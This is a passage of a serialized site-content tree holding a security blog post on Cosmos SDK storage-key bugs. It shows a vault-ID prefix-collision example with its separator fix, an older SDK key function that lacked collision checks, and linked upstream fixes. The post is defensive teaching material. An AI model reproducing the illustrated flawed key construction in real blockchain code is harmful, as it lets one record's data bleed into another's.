},{"type":23,"tag":41,"props":88688,"children":88689},{"style":70},[88690],{"type":28,"value":88691},"]))\n",{"type":23,"tag":41,"props":88693,"children":88694},{"class":43,"line":947},[88695,88699,88703,88707,88711,88716,88720,88725,88729,88733,88737,88741,88745,88749],{"type":23,"tag":41,"props":88696,"children":88697},{"style":858},[88698],{"type":28,"value":27747},{"type":23,"tag":41,"props":88700,"children":88701},{"style":70},[88702],{"type":28,"value":970},{"type":23,"tag":41,"props":88704,"children":88705},{"style":858},[88706],{"type":28,"value":48414},{"type":23,"tag":41,"props":88708,"children":88709},{"style":170},[88710],{"type":28,"value":76411},{"type":23,"tag":41,"props":88712,"children":88713},{"style":858},[88714],{"type":28,"value":88715}," hex",{"type":23,"tag":41,"props":88717,"children":88718},{"style":70},[88719],{"type":28,"value":706},{"type":23,"tag":41,"props":88721,"children":88722},{"style":114},[88723],{"type":28,"value":88724},"Decode",{"type":23,"tag":41,"props":88726,"children":88727},{"style":70},[88728],{"type":28,"value":1737},{"type":23,"tag":41,"props":88730,"children":88731},{"style":858},[88732],{"type":28,"value":85465},{"type":23,"tag":41,"props":88734,"children":88735},{"style":70},[88736],{"type":28,"value":970},{"type":23,"tag":41,"props":88738,"children":88739},{"style":858},[88740],{"type":28,"value":88678},{"type":23,"tag":41,"props":88742,"children":88743},{"style":70},[88744],{"type":28,"value":312},{"type":23,"tag":41,"props":88746,"children":88747},{"style":164},[88748],{"type":28,"value":4024},{"type":23,"tag":41,"props":88750,"children":88751},{"style":70},[88752],{"type":28,"value":55436},{"type":23,"tag":41,"props":88754,"children":88755},{"class":43,"line":985},[88756,88760,88764,88768,88772],{"type":23,"tag":41,"props":88757,"children":88758},{"style":58},[88759],{"type":28,"value":3272},{"type":23,"tag":41,"props":88761,"children":88762},{"style":858},[88763],{"type":28,"value":48515},{"type":23,"tag":41,"props":88765,"children":88766},{"style":170},[88767],{"type":28,"value":64382},{"type":23,"tag":41,"props":88769,"children":88770},{"style":64},[88771],{"type":28,"value":81912},{"type":23,"tag":41,"props":88773,"children":88774},{"style":70},[88775],{"type":28,"value":102},{"type":23,"tag":41,"props":88777,"children":88778},{"class":43,"line":1058},[88779,88783,88787,88791],{"type":23,"tag":41,"props":88780,"children":88781},{"style":58},[88782],{"type":28,"value":79071},{"type":23,"tag":41,"props":88784,"children":88785},{"style":64},[88786],{"type":28,"value":81912},{"type":23,"tag":41,"props":88788,"children":88789},{"style":70},[88790],{"type":28,"value":970},{"type":23,"tag":41,"props":88792,"children":88793},{"style":858},[88794],{"type":28,"value":83633},{"type":23,"tag":41,"props":88796,"children":88797},{"class":43,"line":1084},[88798],{"type":23,"tag":41,"props":88799,"children":88800},{"style":70},[88801],{"type":28,"value":3347},{"type":23,"tag":41,"props":88803,"children":88804},{"class":43,"line":1102},[88805],{"type":23,"tag":41,"props":88806,"children":88807},{"emptyLinePlaceholder":18},[88808],{"type":28,"value":82},{"type":23,"tag":41,"props":88810,"children":88811},{"class":43,"line":1110},[88812,88817,88821,88825,88829,88833,88837,88841,88845,88849,88853,88857,88861,88865],{"type":23,"tag":41,"props":88813,"children":88814},{"style":858},[88815],{"type":28,"value":88816},"        positionName",{"type":23,"tag":41,"props":88818,"children":88819},{"style":170},[88820],{"type":28,"value":76411},{"type":23,"tag":41,"props":88822,"children":88823},{"style":114},[88824],{"type":28,"value":85558},{"type":23,"tag":41,"props":88826,"children":88827},{"style":70},[88828],{"type":28,"value":88648},{"type":23,"tag":41,"props":88830,"children":88831},{"style":94},[88832],{"type":28,"value":84759},{"type":23,"tag":41,"props":88834,"children":88835},{"style":70},[88836],{"type":28,"value":970},{"type":23,"tag":41,"props":88838,"children":88839},{"style":858},[88840],{"type":28,"value":85631},{"type":23,"tag":41,"props":88842,"children":88843},{"style":70},[88844],{"type":28,"value":706},{"type":23,"tag":41,"props":88846,"children":88847},{"style":114},[88848],{"type":28,"value":88669},{"type":23,"tag":41,"props":88850,"children":88851},{"style":70},[88852],{"type":28,"value":1737},{"type":23,"tag":41,"props":88854,"children":88855},{"style":858},[88856],{"type":28,"value":88678},{"type":23,"tag":41,"props":88858,"children":88859},{"style":70},[88860],{"type":28,"value":312},{"type":23,"tag":41,"props":88862,"children":88863},{"style":164},[88864],{"type":28,"value":317},{"type":23,"tag":41,"props":88866,"children":88867},{"style":70},[88868],{"type":28,"value":88691},{"type":23,"tag":41,"props":88870,"children":88871},{"class":43,"line":1118},[88872,88876,88880,88884,88888,88892,88896,88900,88904,88908,88912,88916,88920,88924],{"type":23,"tag":41,"props":88873,"children":88874},{"style":858},[88875],{"type":28,"value":27747},{"type":23,"tag":41,"props":88877,"children":88878},{"style":70},[88879],{"type":28,"value":970},{"type":23,"tag":41,"props":88881,"children":88882},{"style":858},[88883],{"type":28,"value":48414},{"type":23,"tag":41,"props":88885,"children":88886},{"style":170},[88887],{"type":28,"value":76411},{"type":23,"tag":41,"props":88889,"children":88890},{"style":858},[88891],{"type":28,"value":88715},{"type":23,"tag":41,"props":88893,"children":88894},{"style":70},[88895],{"type":28,"value":706},{"type":23,"tag":41,"props":88897,"children":88898},{"style":114},[88899],{"type":28,"value":88724},{"type":23,"tag":41,"props":88901,"children":88902},{"style":70},[88903],{"type":28,"value":1737},{"type":23,"tag":41,"props":88905,"children":88906},{"style":858},[88907],{"type":28,"value":85734},{"type":23,"tag":41,"props":88909,"children":88910},{"style":70},[88911],{"type":28,"value":970},{"type":23,"tag":41,"props":88913,"children":88914},{"style":858},[88915],{"type":28,"value":88678},{"type":23,"tag":41,"props":88917,"children":88918},{"style":70},[88919],{"type":28,"value":312},{"type":23,"tag":41,"props":88921,"children":88922},{"style":164},[88923],{"type":28,"value":317},{"type":23,"tag":41,"props":88925,"children":88926},{"style":70},[88927],{"type":28,"value":55436},{"type":23,"tag":41,"props":88929,"children":88930},{"class":43,"line":1137},[88931,88935,88939,88943,88947],{"type":23,"tag":41,"props":88932,"children":88933},{"style":58},[88934],{"type":28,"value":3272},{"type":23,"tag":41,"props":88936,"children":88937},{"style":858},[88938],{"type":28,"value":48515},{"type":23,"tag":41,"props":88940,"children":88941},{"style":170},[88942],{"type":28,"value":64382},{"type":23,"tag":41,"props":88944,"children":88945},{"style":64},[88946],{"type":28,"value":81912},{"type":23,"tag":41,"props":88948,"children":88949},{"style":70},[88950],{"type":28,"value":102},{"type":23,"tag":41,"props":88952,"children":88953},{"class":43,"line":1163},[88954,88958,88962,88966],{"type":23,"tag":41,"props":88955,"children":88956},{"style":58},[88957],{"type":28,"value":79071},{"type":23,"tag":41,"props":88959,"children":88960},{"style":64},[88961],{"type":28,"value":81912},{"type":23,"tag":41,"props":88963,"children":88964},{"style":70},[88965],{"type":28,"value":970},{"type":23,"tag":41,"props":88967,"children":88968},{"style":858},[88969],{"type":28,"value":83633},{"type":23,"tag":41,"props":88971,"children":88972},{"class":43,"line":1188},[88973],{"type":23,"tag":41,"props":88974,"children":88975},{"style":70},[88976],{"type":28,"value":3347},{"type":23,"tag":41,"props":88978,"children":88979},{"class":43,"line":1979},[88980],{"type":23,"tag":41,"props":88981,"children":88982},{"emptyLinePlaceholder":18},[88983],{"type":28,"value":82},{"type":23,"tag":41,"props":88985,"children":88986},{"class":43,"line":2002},[88987,88991,88995,88999,89003,89007,89012,89016,89020,89025,89029,89033],{"type":23,"tag":41,"props":88988,"children":88989},{"style":58},[88990],{"type":28,"value":3272},{"type":23,"tag":41,"props":88992,"children":88993},{"style":858},[88994],{"type":28,"value":62637},{"type":23,"tag":41,"props":88996,"children":88997},{"style":70},[88998],{"type":28,"value":970},{"type":23,"tag":41,"props":89000,"children":89001},{"style":858},[89002],{"type":28,"value":78762},{"type":23,"tag":41,"props":89004,"children":89005},{"style":170},[89006],{"type":28,"value":76411},{"type":23,"tag":41,"props":89008,"children":89009},{"style":858},[89010],{"type":28,"value":89011}," values",{"type":23,"tag":41,"props":89013,"children":89014},{"style":70},[89015],{"type":28,"value":312},{"type":23,"tag":41,"props":89017,"children":89018},{"style":858},[89019],{"type":28,"value":85465},{"type":23,"tag":41,"props":89021,"children":89022},{"style":70},[89023],{"type":28,"value":89024},"]; ",{"type":23,"tag":41,"props":89026,"children":89027},{"style":170},[89028],{"type":28,"value":2630},{"type":23,"tag":41,"props":89030,"children":89031},{"style":858},[89032],{"type":28,"value":78762},{"type":23,"tag":41,"props":89034,"children":89035},{"style":70},[89036],{"type":28,"value":102},{"type":23,"tag":41,"props":89038,"children":89039},{"class":43,"line":3835},[89040,89045,89049,89053,89057,89061,89065,89069,89073,89077,89081],{"type":23,"tag":41,"props":89041,"children":89042},{"style":858},[89043],{"type":28,"value":89044},"            values",{"type":23,"tag":41,"props":89046,"children":89047},{"style":70},[89048],{"type":28,"value":312},{"type":23,"tag":41,"props":89050,"children":89051},{"style":858},[89052],{"type":28,"value":85465},{"type":23,"tag":41,"props":89054,"children":89055},{"style":70},[89056],{"type":28,"value":8659},{"type":23,"tag":41,"props":89058,"children":89059},{"style":170},[89060],{"type":28,"value":2381},{"type":23,"tag":41,"props":89062,"children":89063},{"style":114},[89064],{"type":28,"value":85558},{"type":23,"tag":41,"props":89066,"children":89067},{"style":70},[89068],{"type":28,"value":1737},{"type":23,"tag":41,"props":89070,"children":89071},{"style":64},[89072],{"type":28,"value":67097},{"type":23,"tag":41,"props":89074,"children":89075},{"style":70},[89076],{"type":28,"value":312},{"type":23,"tag":41,"props":89078,"children":89079},{"style":94},[89080],{"type":28,"value":85163},{"type":23,"tag":41,"props":89082,"children":89083},{"style":70},[89084],{"type":28,"value":55436},{"type":23,"tag":41,"props":89086,"children":89087},{"class":43,"line":3895},[89088],{"type":23,"tag":41,"props":89089,"children":89090},{"style":70},[89091],{"type":28,"value":3347},{"type":23,"tag":41,"props":89093,"children":89094},{"class":43,"line":9044},[89095],{"type":23,"tag":41,"props":89096,"children":89097},{"emptyLinePlaceholder":18},[89098],{"type":28,"value":82},{"type":23,"tag":41,"props":89100,"children":89101},{"class":43,"line":9061},[89102,89107,89111,89115,89119,89123,89127,89131,89135],{"type":23,"tag":41,"props":89103,"children":89104},{"style":858},[89105],{"type":28,"value":89106},"        values",{"type":23,"tag":41,"props":89108,"children":89109},{"style":70},[89110],{"type":28,"value":312},{"type":23,"tag":41,"props":89112,"children":89113},{"style":858},[89114],{"type":28,"value":85465},{"type":23,"tag":41,"props":89116,"children":89117},{"style":70},[89118],{"type":28,"value":48952},{"type":23,"tag":41,"props":89120,"children":89121},{"style":858},[89122],{"type":28,"value":85734},{"type":23,"tag":41,"props":89124,"children":89125},{"style":70},[89126],{"type":28,"value":8659},{"type":23,"tag":41,"props":89128,"children":89129},{"style":170},[89130],{"type":28,"value":2381},{"type":23,"tag":41,"props":89132,"children":89133},{"style":858},[89134],{"type":28,"value":7424},{"type":23,"tag":41,"props":89136,"children":89137},{"style":70},[89138],{"type":28,"value":102},{"type":23,"tag":41,"props":89140,"children":89141},{"class":43,"line":9106},[89142,89146,89150,89155,89159,89164],{"type":23,"tag":41,"props":89143,"children":89144},{"style":858},[89145],{"type":28,"value":26950},{"type":23,"tag":41,"props":89147,"children":89148},{"style":70},[89149],{"type":28,"value":1418},{"type":23,"tag":41,"props":89151,"children":89152},{"style":858},[89153],{"type":28,"value":89154},"iterator",{"type":23,"tag":41,"props":89156,"children":89157},{"style":70},[89158],{"type":28,"value":706},{"type":23,"tag":41,"props":89160,"children":89161},{"style":114},[89162],{"type":28,"value":89163},"Value",{"type":23,"tag":41,"props":89165,"children":89166},{"style":70},[89167],{"type":28,"value":3489},{"type":23,"tag":41,"props":89169,"children":89170},{"class":43,"line":9212},[89171],{"type":23,"tag":41,"props":89172,"children":89173},{"style":70},[89174],{"type":28,"value":3347},{"type":23,"tag":41,"props":89176,"children":89177},{"class":43,"line":23496},[89178],{"type":23,"tag":41,"props":89179,"children":89180},{"style":70},[89181],{"type":28,"value":192},{"type":23,"tag":41,"props":89183,"children":89184},{"class":43,"line":23531},[89185,89189],{"type":23,"tag":41,"props":89186,"children":89187},{"style":58},[89188],{"type":28,"value":1090},{"type":23,"tag":41,"props":89190,"children":89191},{"style":858},[89192],{"type":28,"value":89193}," values\n",{"type":23,"tag":41,"props":89195,"children":89196},{"class":43,"line":23539},[89197],{"type":23,"tag":41,"props":89198,"children":89199},{"style":70},[89200],{"type":28,"value":201},{"type":23,"tag":24,"props":89202,"children":89203},{},[89204,89206,89212,89213,89219,89221,89226,89228,89233,89235,89240,89242,89248,89250,89256],{"type":28,"value":89205},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":37,"props":89207,"children":89209},{"className":89208},[],[89210],{"type":28,"value":89211},"vaultId = 1",{"type":28,"value":1361},{"type":23,"tag":37,"props":89214,"children":89216},{"className":89215},[],[89217],{"type":28,"value":89218},"vaultId = 10",{"type":28,"value":89220}," coexist. If we try to fetch data under ",{"type":23,"tag":37,"props":89222,"children":89224},{"className":89223},[],[89225],{"type":28,"value":89211},{"type":28,"value":89227},", all entries under ",{"type":23,"tag":37,"props":89229,"children":89231},{"className":89230},[],[89232],{"type":28,"value":89218},{"type":28,"value":89234}," will also be returned simply because ",{"type":23,"tag":37,"props":89236,"children":89238},{"className":89237},[],[89239],{"type":28,"value":317},{"type":28,"value":89241}," is a prefix of ",{"type":23,"tag":37,"props":89243,"children":89245},{"className":89244},[],[89246],{"type":28,"value":89247},"10",{"type":28,"value":89249},". To fix this, we must once again append the ",{"type":23,"tag":37,"props":89251,"children":89253},{"className":89252},[],[89254],{"type":28,"value":89255},"Separator",{"type":28,"value":89257}," to the iterator prefix.",{"type":23,"tag":31,"props":89259,"children":89261},{"code":89260,"language":76159,"meta":7,"className":76160,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[89262],{"type":23,"tag":37,"props":89263,"children":89264},{"__ignoreMap":7},[89265,89292,89304,89357],{"type":23,"tag":41,"props":89266,"children":89267},{"class":43,"line":44},[89268,89272,89276,89280,89284,89288],{"type":23,"tag":41,"props":89269,"children":89270},{"style":858},[89271],{"type":28,"value":3737},{"type":23,"tag":41,"props":89273,"children":89274},{"style":170},[89275],{"type":28,"value":76411},{"type":23,"tag":41,"props":89277,"children":89278},{"style":858},[89279],{"type":28,"value":78636},{"type":23,"tag":41,"props":89281,"children":89282},{"style":70},[89283],{"type":28,"value":706},{"type":23,"tag":41,"props":89285,"children":89286},{"style":114},[89287],{"type":28,"value":88450},{"type":23,"tag":41,"props":89289,"children":89290},{"style":70},[89291],{"type":28,"value":3461},{"type":23,"tag":41,"props":89293,"children":89294},{"class":43,"line":54},[89295,89300],{"type":23,"tag":41,"props":89296,"children":89297},{"style":858},[89298],{"type":28,"value":89299},"    kvStore",{"type":23,"tag":41,"props":89301,"children":89302},{"style":70},[89303],{"type":28,"value":3506},{"type":23,"tag":41,"props":89305,"children":89306},{"class":43,"line":76},[89307,89312,89316,89320,89324,89329,89333,89337,89341,89345,89349,89353],{"type":23,"tag":41,"props":89308,"children":89309},{"style":858},[89310],{"type":28,"value":89311},"    fmt",{"type":23,"tag":41,"props":89313,"children":89314},{"style":70},[89315],{"type":28,"value":706},{"type":23,"tag":41,"props":89317,"children":89318},{"style":114},[89319],{"type":28,"value":85217},{"type":23,"tag":41,"props":89321,"children":89322},{"style":70},[89323],{"type":28,"value":1737},{"type":23,"tag":41,"props":89325,"children":89326},{"style":735},[89327],{"type":28,"value":89328},"\"%s%d%s\"",{"type":23,"tag":41,"props":89330,"children":89331},{"style":70},[89332],{"type":28,"value":970},{"type":23,"tag":41,"props":89334,"children":89335},{"style":858},[89336],{"type":28,"value":88500},{"type":23,"tag":41,"props":89338,"children":89339},{"style":70},[89340],{"type":28,"value":970},{"type":23,"tag":41,"props":89342,"children":89343},{"style":858},[89344],{"type":28,"value":88285},{"type":23,"tag":41,"props":89346,"children":89347},{"style":70},[89348],{"type":28,"value":970},{"type":23,"tag":41,"props":89350,"children":89351},{"style":858},[89352],{"type":28,"value":88616},{"type":23,"tag":41,"props":89354,"children":89355},{"style":70},[89356],{"type":28,"value":6735},{"type":23,"tag":41,"props":89358,"children":89359},{"class":43,"line":85},[89360],{"type":23,"tag":41,"props":89361,"children":89362},{"style":70},[89363],{"type":28,"value":1969},{"type":23,"tag":24,"props":89365,"children":89366},{},[89367,89369,89374],{"type":28,"value":89368},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":37,"props":89370,"children":89372},{"className":89371},[],[89373],{"type":28,"value":84971},{"type":28,"value":89375}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":89377,"children":89378},{},[89379],{"type":28,"value":89380},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":546,"props":89382,"children":89384},{"id":89383},"real-world-examples-5",[89385],{"type":28,"value":76684},{"type":23,"tag":24,"props":89387,"children":89388},{},[89389,89390,89395,89397,89404,89406,89412],{"type":28,"value":16601},{"type":23,"tag":37,"props":89391,"children":89393},{"className":89392},[],[89394],{"type":28,"value":78457},{"type":28,"value":89396}," previously lacked protection against KVStore ",{"type":23,"tag":458,"props":89398,"children":89401},{"href":89399,"rel":89400},"https://github.com/cosmos/cosmos-sdk/pull/9363",[462],[89402],{"type":28,"value":89403},"key collisions",{"type":28,"value":89405},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":37,"props":89407,"children":89409},{"className":89408},[],[89410],{"type":28,"value":89411},"KVStores",{"type":28,"value":89413}," that were not independent of each other.",{"type":23,"tag":24,"props":89415,"children":89416},{},[89417],{"type":23,"tag":458,"props":89418,"children":89421},{"href":89419,"rel":89420},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[462],[89422],{"type":28,"value":76734},{"type":23,"tag":31,"props":89424,"children":89426},{"code":89425,"language":76159,"meta":7,"className":76160,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[89427],{"type":23,"tag":37,"props":89428,"children":89429},{"__ignoreMap":7},[89430,89492,89540,89576,89616,89623,89630,89642],{"type":23,"tag":41,"props":89431,"children":89432},{"class":43,"line":44},[89433,89437,89442,89446,89451,89455,89459,89463,89467,89471,89475,89479,89483,89488],{"type":23,"tag":41,"props":89434,"children":89435},{"style":64},[89436],{"type":28,"value":76295},{"type":23,"tag":41,"props":89438,"children":89439},{"style":114},[89440],{"type":28,"value":89441}," NewKVStoreKeys",{"type":23,"tag":41,"props":89443,"children":89444},{"style":70},[89445],{"type":28,"value":1737},{"type":23,"tag":41,"props":89447,"children":89448},{"style":858},[89449],{"type":28,"value":89450},"names",{"type":23,"tag":41,"props":89452,"children":89453},{"style":170},[89454],{"type":28,"value":25298},{"type":23,"tag":41,"props":89456,"children":89457},{"style":94},[89458],{"type":28,"value":29663},{"type":23,"tag":41,"props":89460,"children":89461},{"style":70},[89462],{"type":28,"value":866},{"type":23,"tag":41,"props":89464,"children":89465},{"style":64},[89466],{"type":28,"value":67097},{"type":23,"tag":41,"props":89468,"children":89469},{"style":70},[89470],{"type":28,"value":312},{"type":23,"tag":41,"props":89472,"children":89473},{"style":94},[89474],{"type":28,"value":29663},{"type":23,"tag":41,"props":89476,"children":89477},{"style":70},[89478],{"type":28,"value":15402},{"type":23,"tag":41,"props":89480,"children":89481},{"style":170},[89482],{"type":28,"value":377},{"type":23,"tag":41,"props":89484,"children":89485},{"style":94},[89486],{"type":28,"value":89487},"KVStoreKey",{"type":23,"tag":41,"props":89489,"children":89490},{"style":70},[89491],{"type":28,"value":102},{"type":23,"tag":41,"props":89493,"children":89494},{"class":43,"line":54},[89495,89500,89504,89508,89512,89516,89520,89524,89528,89532,89536],{"type":23,"tag":41,"props":89496,"children":89497},{"style":858},[89498],{"type":28,"value":89499},"    keys",{"type":23,"tag":41,"props":89501,"children":89502},{"style":170},[89503],{"type":28,"value":76411},{"type":23,"tag":41,"props":89505,"children":89506},{"style":114},[89507],{"type":28,"value":85558},{"type":23,"tag":41,"props":89509,"children":89510},{"style":70},[89511],{"type":28,"value":1737},{"type":23,"tag":41,"props":89513,"children":89514},{"style":64},[89515],{"type":28,"value":67097},{"type":23,"tag":41,"props":89517,"children":89518},{"style":70},[89519],{"type":28,"value":312},{"type":23,"tag":41,"props":89521,"children":89522},{"style":94},[89523],{"type":28,"value":29663},{"type":23,"tag":41,"props":89525,"children":89526},{"style":70},[89527],{"type":28,"value":15402},{"type":23,"tag":41,"props":89529,"children":89530},{"style":170},[89531],{"type":28,"value":377},{"type":23,"tag":41,"props":89533,"children":89534},{"style":94},[89535],{"type":28,"value":89487},{"type":23,"tag":41,"props":89537,"children":89538},{"style":70},[89539],{"type":28,"value":1969},{"type":23,"tag":41,"props":89541,"children":89542},{"class":43,"line":76},[89543,89547,89551,89555,89559,89563,89567,89572],{"type":23,"tag":41,"props":89544,"children":89545},{"style":58},[89546],{"type":28,"value":3034},{"type":23,"tag":41,"props":89548,"children":89549},{"style":858},[89550],{"type":28,"value":3039},{"type":23,"tag":41,"props":89552,"children":89553},{"style":70},[89554],{"type":28,"value":970},{"type":23,"tag":41,"props":89556,"children":89557},{"style":858},[89558],{"type":28,"value":48492},{"type":23,"tag":41,"props":89560,"children":89561},{"style":170},[89562],{"type":28,"value":76411},{"type":23,"tag":41,"props":89564,"children":89565},{"style":58},[89566],{"type":28,"value":77394},{"type":23,"tag":41,"props":89568,"children":89569},{"style":858},[89570],{"type":28,"value":89571}," names",{"type":23,"tag":41,"props":89573,"children":89574},{"style":70},[89575],{"type":28,"value":102},{"type":23,"tag":41,"props":89577,"children":89578},{"class":43,"line":85},[89579,89583,89587,89591,89595,89599,89604,89608,89612],{"type":23,"tag":41,"props":89580,"children":89581},{"style":858},[89582],{"type":28,"value":25330},{"type":23,"tag":41,"props":89584,"children":89585},{"style":70},[89586],{"type":28,"value":312},{"type":23,"tag":41,"props":89588,"children":89589},{"style":858},[89590],{"type":28,"value":48492},{"type":23,"tag":41,"props":89592,"children":89593},{"style":70},[89594],{"type":28,"value":8659},{"type":23,"tag":41,"props":89596,"children":89597},{"style":170},[89598],{"type":28,"value":2381},{"type":23,"tag":41,"props":89600,"children":89601},{"style":114},[89602],{"type":28,"value":89603}," NewKVStoreKey",{"type":23,"tag":41,"props":89605,"children":89606},{"style":70},[89607],{"type":28,"value":1737},{"type":23,"tag":41,"props":89609,"children":89610},{"style":858},[89611],{"type":28,"value":48492},{"type":23,"tag":41,"props":89613,"children":89614},{"style":70},[89615],{"type":28,"value":1969},{"type":23,"tag":41,"props":89617,"children":89618},{"class":43,"line":105},[89619],{"type":23,"tag":41,"props":89620,"children":89621},{"style":70},[89622],{"type":28,"value":192},{"type":23,"tag":41,"props":89624,"children":89625},{"class":43,"line":155},[89626],{"type":23,"tag":41,"props":89627,"children":89628},{"emptyLinePlaceholder":18},[89629],{"type":28,"value":82},{"type":23,"tag":41,"props":89631,"children":89632},{"class":43,"line":186},[89633,89637],{"type":23,"tag":41,"props":89634,"children":89635},{"style":58},[89636],{"type":28,"value":1090},{"type":23,"tag":41,"props":89638,"children":89639},{"style":858},[89640],{"type":28,"value":89641}," keys\n",{"type":23,"tag":41,"props":89643,"children":89644},{"class":43,"line":195},[89645],{"type":23,"tag":41,"props":89646,"children":89647},{"style":70},[89648],{"type":28,"value":201},{"type":23,"tag":24,"props":89650,"children":89651},{},[89652,89654,89659,89661,89666,89668,89673],{"type":28,"value":89653},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":37,"props":89655,"children":89657},{"className":89656},[],[89658],{"type":28,"value":78457},{"type":28,"value":89660}," will refuse to run if any ",{"type":23,"tag":37,"props":89662,"children":89664},{"className":89663},[],[89665],{"type":28,"value":84971},{"type":28,"value":89667}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":37,"props":89669,"children":89671},{"className":89670},[],[89672],{"type":28,"value":84971},{"type":28,"value":89674}," level.",{"type":23,"tag":24,"props":89676,"children":89677},{},[89678,89680,89687],{"type":28,"value":89679},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":458,"props":89681,"children":89684},{"href":89682,"rel":89683},"https://github.com/cosmos/cosmos-sdk/issues/12661",[462],[89685],{"type":28,"value":89686},"incorrect iterator behavior",{"type":28,"value":706},{"type":23,"tag":24,"props":89689,"children":89690},{},[89691,89693,89700],{"type":28,"value":89692},"Notably, gradual adoption of the ",{"type":23,"tag":458,"props":89694,"children":89697},{"href":89695,"rel":89696},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[462],[89698],{"type":28,"value":89699},"collections",{"type":28,"value":89701}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":446,"props":89703,"children":89704},{"id":2811},[89705],{"type":28,"value":2814},{"type":23,"tag":24,"props":89707,"children":89708},{},[89709],{"type":28,"value":89710},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":89712,"children":89713},{},[89714],{"type":28,"value":89715},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":2843,"props":89717,"children":89718},{},[89719],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":89721},[89722,89723,89726,89729,89732,89735,89738,89741],{"id":29014,"depth":54,"text":29017},{"id":75877,"depth":54,"text":75880,"children":89724},[89725],{"id":76681,"depth":76,"text":76684},{"id":77277,"depth":54,"text":77280,"children":89727},[89728],{"id":77926,"depth":76,"text":76684},{"id":78423,"depth":54,"text":78426,"children":89730},[89731],{"id":79723,"depth":76,"text":76684},{"id":81067,"depth":54,"text":81070,"children":89733},[89734],{"id":81605,"depth":76,"text":76684},{"id":83123,"depth":54,"text":83126,"children":89736},[89737],{"id":84003,"depth":76,"text":76684},{"id":84957,"depth":54,"text":84960,"children":89739},[89740],{"id":89383,"depth":76,"text":76684},{"id":2811,"depth":54,"text":2814},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":89746,"date":14,"tags":89747,"isFeatured":18,"onBlogPage":18,"body":89748,"_type":2864,"_id":2865,"_source":2866,"_file":2867,"_stem":2868,"_extension":2869},{"src":12,"height":13,"width":13},[16,17],{"type":20,"children":89749,"toc":92174},[89750,89754,89880,89884,89888,89892,89896,90006,90010,90014,90018,90055,90065,90069,90084,90088,90091,90095,90105,90116,90120,90131,90135,90144,90155,90159,90162,90166,90170,90213,90217,90221,90231,90260,90267,90274,90289,90293,90297,90713,90720,90757,90761,90768,90775,90812,90816,90823,90827,90830,90834,90838,90858,90868,90890,90917,90921,90924,90928,90944,91438,91448,91464,91483,91492,91496,91595,91599,91603,91613,91617,91686,91702,91706,91709,91713,91723,91733,92054,92058,92073,92077,92080,92084,92088,92103,92118,92121,92125,92142,92145,92149,92153,92162,92166,92170],{"type":23,"tag":24,"props":89751,"children":89752},{},[89753],{"type":28,"value":29},{"type":23,"tag":31,"props":89755,"children":89756},{"code":33,"language":16,"meta":7,"className":34,"style":7},[89757],{"type":23,"tag":37,"props":89758,"children":89759},{"__ignoreMap":7},[89760,89767,89782,89789,89804,89843,89866,89873],{"type":23,"tag":41,"props":89761,"children":89762},{"class":43,"line":44},[89763],{"type":23,"tag":41,"props":89764,"children":89765},{"style":48},[89766],{"type":28,"value":51},{"type":23,"tag":41,"props":89768,"children":89769},{"class":43,"line":54},[89770,89774,89778],{"type":23,"tag":41,"props":89771,"children":89772},{"style":58},[89773],{"type":28,"value":61},{"type":23,"tag":41,"props":89775,"children":89776},{"style":64},[89777],{"type":28,"value":67},{"type":23,"tag":41,"props":89779,"children":89780},{"style":70},[89781],{"type":28,"value":73},{"type":23,"tag":41,"props":89783,"children":89784},{"class":43,"line":76},[89785],{"type":23,"tag":41,"props":89786,"children":89787},{"emptyLinePlaceholder":18},[89788],{"type":28,"value":82},{"type":23,"tag":41,"props":89790,"children":89791},{"class":43,"line":85},[89792,89796,89800],{"type":23,"tag":41,"props":89793,"children":89794},{"style":64},[89795],{"type":28,"value":91},{"type":23,"tag":41,"props":89797,"children":89798},{"style":94},[89799],{"type":28,"value":97},{"type":23,"tag":41,"props":89801,"children":89802},{"style":70},[89803],{"type":28,"value":102},{"type":23,"tag":41,"props":89805,"children":89806},{"class":43,"line":105},[89807,89811,89815,89819,89823,89827,89831,89835,89839],{"type":23,"tag":41,"props":89808,"children":89809},{"style":64},[89810],{"type":28,"value":111},{"type":23,"tag":41,"props":89812,"children":89813},{"style":114},[89814],{"type":28,"value":117},{"type":23,"tag":41,"props":89816,"children":89817},{"style":70},[89818],{"type":28,"value":122},{"type":23,"tag":41,"props":89820,"children":89821},{"style":64},[89822],{"type":28,"value":127},{"type":23,"tag":41,"props":89824,"children":89825},{"style":64},[89826],{"type":28,"value":132},{"type":23,"tag":41,"props":89828,"children":89829},{"style":58},[89830],{"type":28,"value":137},{"type":23,"tag":41,"props":89832,"children":89833},{"style":70},[89834